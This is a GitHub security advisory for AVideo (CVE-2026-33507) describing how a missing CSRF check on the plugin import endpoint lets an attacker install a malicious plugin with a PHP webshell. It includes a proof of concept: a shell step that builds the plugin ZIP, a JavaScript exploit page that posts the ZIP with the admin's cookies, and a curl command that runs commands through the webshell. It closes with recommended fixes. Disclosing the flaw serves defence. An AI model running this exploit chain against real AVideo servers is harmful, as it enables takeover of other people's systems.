GitHub Advisoryadvisory · Packagist

GHSA-hv36-p4w4-6vmj AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload

HIGH Published 2026-03-20 Modified 2026-03-25 Official page ↗
Aliases
CVE-2026-33507
Ecosystem
Packagist
Packages
wwbn/avideo
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-352
Reviewed
2026-03-20

Affected packages

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Description

Summary The `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server. Details The root cause has two components working together: 1. SameSite=None on session cookies (`objects/include_config.php:134-137`): ```php if ($isHTTPS) { ini_set('session.cookie_samesite', 'None'); ini_set('session.cookie_secure', '1'); } ``` This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance. 2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`): ```php if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } ``` The endpoint only checks `User::isAdmin()` via the session. There is: • No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent) • No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8) • No `Referer` or `Origin` header validation • No requirement for custom headers (e.g., `X-Requested-With`) The upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `` with a file input. Why the attack bypasses CORS preflight: `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective. Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection. PoC Step 1: Create the malicious plugin ZIP ```bash mkdir -p EvilPlugin Main file — passes PluginAbstract validation cat > EvilPlugin/EvilPlugin.php EvilPlugin/cmd.php SHELL zip -r evil-plugin.zip EvilPlugin/ ``` Step 2: Host the CSRF exploit page ```html Loading... // Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php // In practice, the attacker would embed the base64-encoded ZIP bytes here async function exploit() { const zipResp = await fetch('evil-plugin.zip'); const zipBlob = await zipResp.blob(); const formData = new FormData(); formData.append('input-b1', zipBlob, 'evil-plugin.zip'); fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', { method: 'POST', body: formData, mode: 'no-cors', credentials: 'include' }); } exploit(); ``` Step 3: Admin visits attacker's page while logged into AVideo over HTTPS The browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`. Step 4: Attacker accesses the webshell ```bash curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id' uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` Impact • Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session. • Full server compromise: The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation. • No attacker account needed: The attacker requires zero privileges on the target system — only that an admin visits a page they control. • Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect. Recommended Fix 1. Add CSRF token validation to `objects/pluginImport.json.php` (primary fix): ```php // After the isAdmin() check at line 18, add: if (!User::isAdmin()) { $obj->msg = "You are not admin"; die(json_encode($obj)); } // Add CSRF protection allowOrigin(); // Also validate a CSRF token if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) { $obj->msg = "Invalid CSRF token"; die(json_encode($obj)); } ``` 2. Update the upload form in `view/managerPluginUpload.php` to include the token: ```html "> ``` And pass it in the JavaScript upload config: ```javascript $('#input-b1').fileinput({ uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php', uploadExtraData: { globalToken: $('input[name=globalToken]').val() }, // ... }); ``` 3. Consider changing `SameSite=None` to `SameSite=Lax` unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.

Related

Alias · CVE (1)

  • CVE-2026-33507 WWBN AVideo is an open source video platform. vulnerability

Weakness · CWE (1)

  • CWE-352 Cross-Site Request Forgery weakness

References